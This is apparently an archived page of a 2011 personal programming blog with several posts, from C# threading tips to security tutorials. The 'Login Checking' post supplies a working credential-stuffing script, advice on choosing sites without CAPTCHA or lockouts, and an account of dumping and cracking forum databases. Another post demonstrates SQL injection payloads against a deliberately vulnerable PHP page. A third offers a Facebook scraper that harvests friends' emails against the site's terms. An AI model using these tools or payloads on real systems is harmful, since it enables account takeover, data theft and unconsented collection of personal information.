Archive > 2011

Basic Threading in C#

» 26 October 2011 » In C#, Programming » 5 Comments

Threading is a great way to make your application smoother. A single thread in a C# application, is an independent execution path that can run simultaneously with the main application thread. Of course, C# supports multithreading. And to use the threading namespace, you can directly call it from System.Threading, or import it:

using System.Threading;

Without this, a basic HTTP request makes your application unavailable in a span of time. And if you are using a progress bar, you won’t see it updating (since the application is unresponsive at this state).

Single Thread

The most basic way to implement this, is by using the Thread class. An example:

Thread tMain = new Thread(new ThreadStart(someMethod));
tMain.Start();

Wherein someMethod is a void function that contains the code you want to execute. With this, the thread will execute in parallel with the main thread. The only drawback, is you cannot modify controls created in the main thread like you normally use to. This will result into a Cross-thread operation not valid: Control accessed from a thread other than the thread it was created on exception. The solution is pretty simple:

// Won't Work
textBox1.Text = "Hello";

// Will Work
this.Invoke(new MethodInvoker(delegate { textBox1.Text = "Hello"; }));

This approach functions just the same as a BackgroundWorker instance.

Powertip: You can disable all the controls in your form painlessly without setting the Enabled property of each control (imagine having 20+ controls in your form).

private void controlsEnableToggle(bool val)
{
	foreach (Control c in this.Controls)
	{
		c.Enabled = val;
	}
}

Multiple Threads

Dealing with multiple repetitive tasks with a single line of execution is painful, especially in large numbers. C# supports multithreading. This means, we can initiate as many threads as we like, and it will do the job. So how to do that? A simple for-loop.

for (int i = 0; i < 10; i++) {
	Thread tMain = new Thread(new ThreadStart(someMethod));
	tMain.Start();
}

The above code works, but what if we need to supply parameters to our method?

// .NET 2
for (int i = 0; i < 10; i++) {
	Thread tMain = new Thread(new ParameterizedThreadStart(someMethod));
	tMain.Start(param);
}

// .NET 3.5 & 4
for (int i = 0; i < 10; i++) {
	Thread tMain = new Thread(unused => someMethod(param));
	tMain.Start();
}

Pausing and Stopping Threads

Whenever you close a form, the main thread will stop, but the threads you created are not. Thus, the process is still alive. To stop this, you can just go to the task manager, and end the process from there. But that’s not user-friendly.

You cannot actually stop or pause threads immediately. You can never tell what the thread is doing, and terminating them abnormally may cause side effects. For this, ManualResetEvent is used.

ManualResetEvent pauseEvent = new ManualResetEvent(true);
ManualResetEvent stopEvent = new ManualResetEvent(false);

The bool values passed to the constructor indicates whether the initial state of the instance is signaled or not. This is pretty easy to use.

ManualResetEvent pauseEvent = new ManualResetEvent(true);
ManualResetEvent stopEvent = new ManualResetEvent(false);

private void someMethod(string param) {
	// Stops the thread
	if (stopEvent.WaitOne(0))
		return;
		
	// Pauses the thread
	pause Event.WaitOne(Timeout.Infinite);
		
	// Your code
	
}

To change the signaled state of these events, we will use Reset and Set methods. Here’s how to use them in relation to the above code:

// Stops the threads
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
	stopEvent.Set();
}

// Pauses the threads
private void Button1_Click(object sender, EventArgs e)
{
	pauseEvent.Reset();
}

// Resumes the threads
private void Button2_Click(object sender, EventArgs e)
{
	pauseEvent.Set();
}

You can choose how you will use the methods, the above is just an example.

Continue reading...

Tags: , , ,

Login Checking

» 22 September 2011 » In Internet, Programming, Python, Security » 3 Comments

For so many years, I’ve been using login checkers. Mainly, these scripts aims to recover forgotten passwords. But from experience, people like to use these to get random accounts. For as long as there’s no captcha involved, login checking is possible. Let me show you an example how to make one.

WARNING: The procedure below is somewhat illegal (sense). Proceed at your own risk.

First is to set the target website. There are few things you need to consider on picking a website to check against.

  • No CAPTCHA
  • Login attempts are not limited
  • Webserver can take consecutive requests

CAPTCHAs can greatly block login checking. Though there are many ways to bypass them, large amount of work and integration is required. Also, if the login attempts are limited, we will not be able to accomplish, especially if our list size is greater than the maximum attempt count. And this may crash the target webserver, so extra care is required.

You also need a user-pass list, or just a password list. The most effective format would be in user:pass format, separated by newlines. In the past, we get unique content from forum databases. We’ve been hacking forums of different kinds using public exploits, extracting their user database, parsing them to user:hash:salt:email format, and running them into a hash cracker like PasswordsPro. Usually in a 100k user database, we get the ~20%, and its a pretty big amount of user:pass list.

A software that sniffs and captures http headers is also required. I recommend the Live HTTP Headers addon in firefox. This addon is extremely helpful in our side. Instead of examining the HTML form, we can just run a sample login and capture the data.

For this example, we will target my own wordpress login page. Don’t worry, I will create a user account for this testing (and will delete afterwards). The first thing you need to do is fire up the Live HTTP Headers plugin from firefox, and please close all other tabs or windows that makes requests over time, so it will not interfere with our header catching.

Live HTTP Headers

Live HTTP Headers

Next is to make a dummy login request. This is not a real user account, but this step will help us a lot. Now, this is how it will look like:

Dummy Login

Dummy Login

And if we will go back to our Live HTTP Header window, we will see that the POST request we made was captured.

Captured POST Request

Captured POST Request

From here, we can get enough information, but to see things more clearly, hit the Replay button.

Live HTTP Headers Replay

Live HTTP Headers Replay

There, we can see the POST URL and data that was passed. And of course, there are optional fields (how did I know this? trial and error) is POST data. In this case, we will only use:

log=testuser&pwd=testpass&wp-submit=Log+In

Now we go back to the login page. The key to knowing the user has logged in is on the error message. Yes, this is the easiest way to determine that it was a success. Although in some sites, there are different error messages. You can define them all through testing.

But why not a unique string from the dashboard, or from the page where the browser goes to when the login is successful? The problem here is, in some websites like wordpress, the browser is redirected to a certain page when the login is successful. It can be javascript redirect or header redirects. And in header redirects, cookies must be enabled, and for a simple script like the one we’re going to build, we try not to deal with cookies, plus, navigating to another page slows down the process.

In wordpress’ login page, there are several error messages. But what we’re going to look at, is a string or html code that was not present in the original login page, and the html response when the user is logged in successfully. And I believe, in this example, it would be: <div id="login_error"></div>.

Next, we should have our user list. We will create a 4 line userlist. I already created a user with credentials someuser:mypassword in my wordpress database as a subscriber, and we will input this in our list at line 3 so that we will know if our checker works. Here’s our account list, and we’ll store it in accounts.txt

user1:somepass
dummyuser:password2
someuser:mypassword
anotherone:itsnotme

Now lets build a simple python code to test all. First are the import statements.

import sys
import urllib2
import urllib
import os

sys is for the arguments, urllib2 for the http requests, urllib for the urlencode() method, and os for file existence checking.

And then of course, our entry point condition.

if __name__ == '__main__':
	main(sys.argv[1:])

The first thing we need to do in our main method is check for the filename argument.

if len(argv) == 0:
	'''
		Check if the there's no filename argument
	'''
	print 'No filename for dictionary specified.'
	sys.exit()
elif not os.path.isfile(argv[0]):
	'''
		Check if the file does not exist
	'''
	print '%s does not exist.' % argv[0]
	sys.exit()

Then we need to specify the baseurl of the target wordpress host. This includes the directory (if any) where the index page of wordpress resides without the trailing slash.

baseurl = 'http://somesite.com/blog'

Next is load the file line by line, and separate the user and password into different variables.

file = open(argv[0], 'r')
for line in file:
	'''
		Read line by line
	'''
	user, passw = line.strip().split(':')

And we will define our post data, and based on what we got from the request replay.

log=testuser&pwd=testpass&wp-submit=Log+In

We will be breaking this down into a dict, separating the field name from the value, and URL encode them. Then we make the request and store the response HTML to a variable.

data = urllib.urlencode({ 'log' : user, 'pwd' : passw, 'wp-submit' : 'Log+In' })
response = urllib2.urlopen('%s/wp-login.php' % baseurl, data)
html = response.read()

The next part is the checking. We will check for the occurrence of the string <div id="login_error"></div> in the response HTML. If it’s there, then our log in was invalid. And if its not there, then we have a valid account. The best way to remember the valid accounts is by putting it into a separate text file.

if '<div id="login_error">' in html:
	'''
		Check if response HTML has error
	'''
	print '%s:%s - INVALID' % (user, passw)
else:
	print '%s:%s - VALID' % (user, passw)
	save = open('valid.txt', 'a+')
	save.write("%s:%s\n" % (user, passw))
	save.close()

Lastly, outside the loop, close the file handle.

file.close()

Now let’s run shall we?

# python wploginchecker.py accounts.txt
user1:somepass - INVALID
dummyuser:password2 - INVALID
someuser:mypassword - VALID
anotherone:itsnotme - INVALID

And there you go, the checker is all working. You can fork the code in github if you want. That’s all.

Continue reading...

Tags: , , , , ,

Exploiting SQL Injection Vulnerabilities

» 15 August 2011 » In PHP, Security, Web Development » 2 Comments

Back in my exploiting days, SQL injection was pretty much popular. I guess it still is at the moment, but because I’m out of the scene, I guess I can’t assure it. Well anyway, I’m gonna show how SQL injection is done, with a sample script and database table. I won’t go into detailed information about SQL injection, this is the actual execution.

First create a test database, and a test table with basic user details.

CREATE DATABASE `sqltest`;

CREATE TABLE  `sqltest`.`users` (
	`id` INT NOT NULL ,
	`username` VARCHAR( 20 ) NOT NULL ,
	`password` VARCHAR( 32 ) NOT NULL ,
	`address` VARCHAR( 50 ) NOT NULL ,
	`email` VARCHAR( 30 ) NOT NULL ,
	PRIMARY KEY (  `id` )
)

Then we fill it with random information. As for the password, lets be advanced and put a md5 hash for it.

INSERT INTO `sqltest`.`users` VALUES ('', 'ruel', '34819d7beeabb9260a5c854bc85b3e44', '9B Kingston Street, Westchester, CA 90045', 'myrandomemail@domain.com');

Now, we create a simple PHP script called viewuser to output the data we stored to the database.

<?php
	// Make sure there's a GET request first
	if (!isset($_GET['id'])) {
		die;
	}
	
	$id = $_GET['id'];

	// Your server details goes here.
	$conn = mysql_connect('localhost', 'username', 'password') or die(mysql_error());
	mysql_select_db('sqltest', $conn) or die(mysql_error());
	
	// This is our query
	$sql = "SELECT username
			FROM users 
			WHERE id = " . $id;
	
	// Execute our query
	$result = mysql_query($sql) or die(mysql_error());
	
	// Check if there are results
	if (mysql_num_rows($result) == 0) {
		die;
	}
	
	// Get the username
	while($row = mysql_fetch_assoc($result)) {
		$username = $row['username'];
	}
?>
<!doctype html>
<html>
<head>
	<title>View User</title>
	<style>
		body {
			font-family: Arial;
			font-size: 1.5em;
			color: #555;
		}
		
		#userblock {
			margin-top: 200px;
			text-align: center;
		}
	</style>
</head>
<body>
	<div id="userblock">
		Hello! I'm <strong><?php echo $username; ?></strong>
	</div>
</body>
</html>
<?php
	mysql_close($conn);
?>

Next step is to try it: viewuser.php?id=0. And it works!

It works!

It works!

Then lets start injecting SQL codes. First of all, since we already know the table structure, we can easily extract information from the database using SQL injection. Now, we will pretend that we do not know such information, and lets start by finding out how many columns shall we pass to UNION ALL SELECT. This is done by injecting the ORDER BY statement in the url, plus an integer. If the page returned an error, then we get our number of selected columns.

Let’s start by 1 : viewuser.php?id=0 ORDER BY 1 – No error. Then we try 2 : viewuser.php?id=0 ORDER BY 2 – Error: Unknown column '2' in 'order clause'.

What does that mean? Column number two doesn’t exist. That means, there’s only one selected column. And yes, if you would look at our code, only the column username is selected.

Now we inject UNION ALL SELECT. But first, we do not know what fields are present in the database. As far as I know, in blind SQL injection, there’s no way of retrieving column names with a query. The only way would be bruteforcing. If the page showed the data you were referring to, then the column name is correct, otherwise, it will return an error.

The same goes for the table name, it needs bruteforce. You have to try and try until you get the right table name and column name.

Since we only have one selected column, we can only pass one argument to UNION ALL SELECT. The query will be injected as: viewuser.php?id=0 UNION ALL SELECT (column) FROM table

Now, its your turn, try the fields in our structure and examine the output. Here’s what it looks like when passing the password field as an argument: viewuser.php?id=0 UNION ALL SELECT (username) FROM users

Hashed password

Hashed password

Yes, that’s the password we inserted in the database earlier. And please take not that in the actual script, we didn’t mean to show any other fields except username.

Some of the password fields in poorly coded websites are in plain text, so this is fairly easy for attackers to get in the system.

How do we secure the script? Well its pretty easy. We’ll make use of mysql_real_escape_string() function in PHP. And this is how it’s done:

$sql = "SELECT username
	FROM users 
	WHERE id = '" . mysql_real_escape_string($id) . "'";

And if we will inject our last query: viewuser.php?id=0 UNION ALL SELECT (username) FROM users, it won’t work anymore.

SQL injection is pretty powerful. Actually you can DROP the whole table if you want to. The possibilities are quite, endless. And poor coding causes this. There are also more ways to resolve this issue: input validation, mysqli, etc. Practice secure coding, especially on public scripts.

Continue reading...

Tags: , , , , ,

Downloading Facebook Albums with C#

» 30 March 2011 » In C#, Open-Source, Programming, Releases » 3 Comments

If you can remember, I already posted a script that does the same job (downloading facebook albums) written in Perl. Sadly, the script doesn’t work anymore, and because of the bad practices I have applied to it, I felt lazy updating. So instead, I created another project. This time, it’s on C#. So the project has a GUI, which most of the users will love.

I actually started this 20 days ago. I didn’t have the chance to work on this until yesterday night. What it does is pretty simple. It uses the Facebook Graph API, so there would be a great, great chance that this will not fail. So let us take a look at the process.

ADown Flowchart

ADown Flowchart

To be honest, this is the first time I used a flowchart on my projects. At first I was not convinced by this, but then I just realized this is one of the best ways to explain how a process takes action.

I also used an external JSON parser (since most of what I found are serializers). Credits goes here for the parser.

Here’s the screenshot of the GUI:

ADown Screenshot

ADown Screenshot

There are some notes I have to mention:

  • Downloading speed will depend on the connection speed
  • The download folder by default is in the Documents folder named ‘ADown’
  • Each picture will be named based on the Photo ID in the Graph API

And of course, the features:

  • Threaded
  • Verbose
  • Uses Facebook Graph API
  • Able to change download folder
  • Creates a folder for every album
  • Accepts the Album URL (easy copy-paste)

If you have no permission in that album (although it’s visible to you in Facebook) you won’t be able to access it in the Graph API. An example would be a public album of someone who’s not in your friend list.

The source code of course is freely available at github and released under BSD 3-clause license. Help me maintain it, by forking. :)

The executable file is also available, that is if you do not have a VS2010 installed. You need to install .NET Framework 4 first. Download the executable file here.

That’s all for this project, please leave comments if you have something in mind. Thank you.

Continue reading...

Tags: , , , , , , , ,

C# Basic HTTP Request Class

» 11 March 2011 » In C#, Programming » 7 Comments

Most of my clients, want me to do things with a Graphical User Interface. For this, I only have on language in mind, C#. And many of my client-related projects includes getting information from webpages, logging in, gathering data, etc. It’s very hard to repeat code over and over again with the HttpWebRequest and HttpWebResponse class. For this, I created a simple class that does GET and POST neatly and can handle cookies. Please do note that I didn’t reinvent the wheel on this one. This is just a collection of mostly used functions to make them reusable in many of my (and could be your) projects.

A simple HTTP GET request looks like this:

HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://ruel.me");
request.CookieContainer = cJar;
request.UserAgent = UserAgent;
request.KeepAlive = false;
request.Method = "GET";
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
StreamReader sr = new StreamReader(response.GetResponseStream());
string response = sr.ReadToEnd();

And I think it’s fairly unacceptable to repeat this code over and over again in a single project. So yes, there should be a class made for this (together with the POST request).

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.IO;

namespace BasicReq
{
    /// <summary>
    /// A simple basic class for HTTP Requests.
    /// </summary>
    class BReq
    {
        /// <summary>
        /// UserAgent to be used on the requests
        /// </summary>
        public string UserAgent = @"Mozilla/5.0 (Windows; Windows NT 6.1) AppleWebKit/534.23 (KHTML, like Gecko) Chrome/11.0.686.3 Safari/534.23";
        
        /// <summary>
        /// Cookie Container that will handle all the cookies.
        /// </summary>
        private CookieContainer cJar;

        /// <summary>
        /// Performs a basic HTTP GET request.
        /// </summary>
        /// <param name="url">The URL of the request.</param>
        /// <returns>HTML Content of the response.</returns>
        public string HttpGet(string url)
        {
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
            request.CookieContainer = cJar;
            request.UserAgent = UserAgent;
            request.KeepAlive = false;
            request.Method = "GET";
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
            StreamReader sr = new StreamReader(response.GetResponseStream());
            return sr.ReadToEnd();
        }

        /// <summary>
        /// Performs a basic HTTP POST request
        /// </summary>
        /// <param name="url">The URL of the request.</param>
        /// <param name="post">POST Data to be passed.</param>
        /// <param name="refer">Referrer of the request</param>
        /// <returns>HTML Content of the response.</returns>
        public string HttpPost(string url, string post, string refer = "")
        {
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
            request.CookieContainer = cJar;
            request.UserAgent = UserAgent;
            request.KeepAlive = false;
            request.Method = "POST";
            request.Referer = refer;

            byte[] postBytes = Encoding.ASCII.GetBytes(post);
            request.ContentType = "application/x-www-form-urlencoded";
            request.ContentLength = postBytes.Length;

            Stream requestStream = request.GetRequestStream();
            requestStream.Write(postBytes, 0, postBytes.Length);
            requestStream.Close();
            
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
            StreamReader sr = new StreamReader(response.GetResponseStream());
            
            return sr.ReadToEnd();
        }

        /// <summary>
        /// Creates an HTML file from the string.
        /// </summary>
        /// <param name="html">HTML String.</param>
        public void DebugHtml(string html)
        {
            StreamWriter sw = new StreamWriter("debug.html");
            sw.Write(html);
            sw.Close();
        }

        /// <summary>
        /// Initializes a new instance of the <see cref="BReq"/> class.
        /// </summary>
        public BReq()
        {
            cJar = new CookieContainer();
        }

        /// <summary>
        /// Releases unmanaged resources and performs other cleanup operations before the
        /// <see cref="BReq"/> is reclaimed by garbage collection.
        /// </summary>
        ~BReq()
        {
            // Nothing here
        }
    }
}

Of course the UserAgent is a public variable, so you can change it anytime upon initialization. The cookie container is used only inside the class. Yes, that’s a major con, but you can freely modify it. And that means, you can only use this class on one function if you would like to retain the cookies.

There’s also a DebugHtml function that can help you log the last request (by passing the response as a parameter, outside the class).

That’s it for now, and I highly suggest we help each other improve this class by forking it. This way improvements and ideas can be added. The more the merrier! Thank you.

Forks

These people made wonderful forks!

Continue reading...

Tags: , , , , , , , ,

Scrape Your Facebook Friends’ Emails with Python

» 03 March 2011 » In Internet, Open-Source, Programming, Python » 34 Comments

This is an update of an earlier post about Facebook contact info scraping.

DISCLAIMER: This is against Facebook TOS . Use at your own risk.

It’s been so, so long since I posted something here. And if you missed me, I apologize for that. Well never mind the previous statement. This is an update of the Facebook contact info scraper in python. The old one stopped working when Facebook updated their User Interface. And I must tell you, that this is the greatest drawback of writing a scraper that relies on regular expressions.

Yes, using regular expressions with scrapers is pretty much a bad idea, but for tools like this, an exception must be made. Most programming languages nowadays do not include good enough HTML parsers. But why? Yes there are available libraries/modules, like Beautiful Soup in Python. It’s a powerful module, but for this script, it was way too powerful. Regular expressions however, is just right, in my opinion. As this script doesn’t require heavy parsing. Of course there will be fellow coders that will disagree with this paragraph, you’re very much welcome, and let me hear you on the comments. :)

What will be the changes for this one? Actually the script will be using a bit of the Graph API. Too bad it doesn’t provide email information about your friends. Actually it provides email information, but a special permission is required. We will be using the Graph API to get the complete list of our Facebook friends. Unlike the previous scraper, this one will be a lot faster, and more accurate on gathering friend information.

And of course, as you can see from the title, we will only be scraping the email addresses. As for the output, we will no longer use the elegant HTML/CSS report. Instead, we will generate a CSV file containing the name, and the email.

Here’s the python code:

#!/usr/bin/python

'''
	InFB - Information Facebook
	Usage: infb.py user@domain.tld password

http://ruel.me

	Copyright (c) 2011, Ruel Pagayon
	All rights reserved.

	Redistribution and use in source and binary forms, with or without
	modification, are permitted provided that the following conditions are met:
		* Redistributions of source code must retain the above copyright
		  notice, this list of conditions and the following disclaimer.
		* Redistributions in binary form must reproduce the above copyright
		  notice, this list of conditions and the following disclaimer in the
		  documentation and/or other materials provided with the distribution.
		* Neither the name of the author nor the names of its contributors 
		  may be used to endorse or promote products derived from this software 
		  without specific prior written permission.

	THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS" AND ANY 
	EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 
	WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
	DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 
	INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 
	LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, 
	OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF 
	LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE 
	OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF 
	ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
'''

import sys
import re
import urllib
import urllib2
import cookielib
import csv
import json

def main():
	# Check the arguments
	if len(sys.argv) != 3:
		usage()
	user = sys.argv[1]
	passw = sys.argv[2]
	
	# Initialize the needed modules
	CHandler = urllib2.HTTPCookieProcessor(cookielib.CookieJar())
	browser = urllib2.build_opener(CHandler)
	browser.addheaders = [('User-agent', 'InFB - ruel@ruel.me - http://ruel.me')]
	urllib2.install_opener(browser)
	
	
	# Initialize the cookies and get the post_form_data
	print 'Initializing..'
	res = browser.open('http://m.facebook.com/index.php')
	mxt = re.search('name="post_form_id" value="(\w+)"', res.read())
	pfi = mxt.group(1)
	print 'Using PFI: %s' % pfi
	res.close()
	
	# Initialize the POST data
	data = urllib.urlencode({
		'lsd'				: '',
		'post_form_id'		: pfi,
		'charset_test' 		: urllib.unquote_plus('%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84'),
		'email'				: user,
		'pass'				: passw,
		'login'				: 'Login'
	})
	
	# Login to Facebook
	print 'Logging in to account ' + user
	res = browser.open('https://www.facebook.com/login.php?m=m&refsrc=http%3A%2F%2Fm.facebook.com%2Findex.php&refid=8', data)
	rcode = res.code
	if not re.search('Logout', res.read()):
		print 'Login Failed'
		
		# For Debugging (when failed login)
		fh = open('debug.html', 'w')
		fh.write(res.read())
		fh.close
		
		# Exit the execution :(
		exit(2)
	res.close()
	
	# Get Access Token
	res = browser.open('http://developers.facebook.com/docs/reference/api')
	conft = res.read()
	mat = re.search('access_token=(.*?)"', conft)
	acct = mat.group(1)
	print 'Using access token: %s' % acct
	
	# Get friend's ID
	res = browser.open('https://graph.facebook.com/me/friends?access_token=%s' % acct)
	fres = res.read()
	jdata = json.loads(fres)
	
	# Initialize the CSV writer
	fbwriter = csv.writer(open('%s.csv' % user, 'ab'), delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
	
	# God for each ID in the JSON response
	for acc in jdata['data']:
		fid = acc['id']
		fname = acc['name']
		
		# Go to ID's profile
		res = browser.open('http://m.facebook.com/profile.php?id=%s&v=info&refid=17' % fid)
		xma = re.search('mailto:(.*?)"', res.read())
		if xma:
			
			# Replace the html entity from the scraped information
			email = xma.group(1).replace('&#64;', '@')
			
			# In case there will be weird characters, repr() will help us.
			try:
				print fname, email
			except:
				print repr(fname), repr(email)
				
			# Write to CSV, again with repr() if something weird prints out.
			try:
				fbwriter.writerow([fname, email])
			except:
				fbwriter.writerow([repr(fname), repr(email)])
	
	
def usage():
	'''
		Usage: infb.py user@domain.tld password
	'''
	print 'Usage: ' + sys.argv[0] + ' user@domain.tld password'
	sys.exit(1)
	
if __name__ == '__main__':
	main()

I’ve also updated the gist, so you can fork it anytime here.

Yes, it’s tested and working (for now). In the future this will pretty much stop working again, and I’ll be updating it so do not worry. And again, use this at your own risk. If you have questions/comments regarding this script, don’t hesitate to comment below.

Best Regards.

Continue reading...

Tags: , , , , ,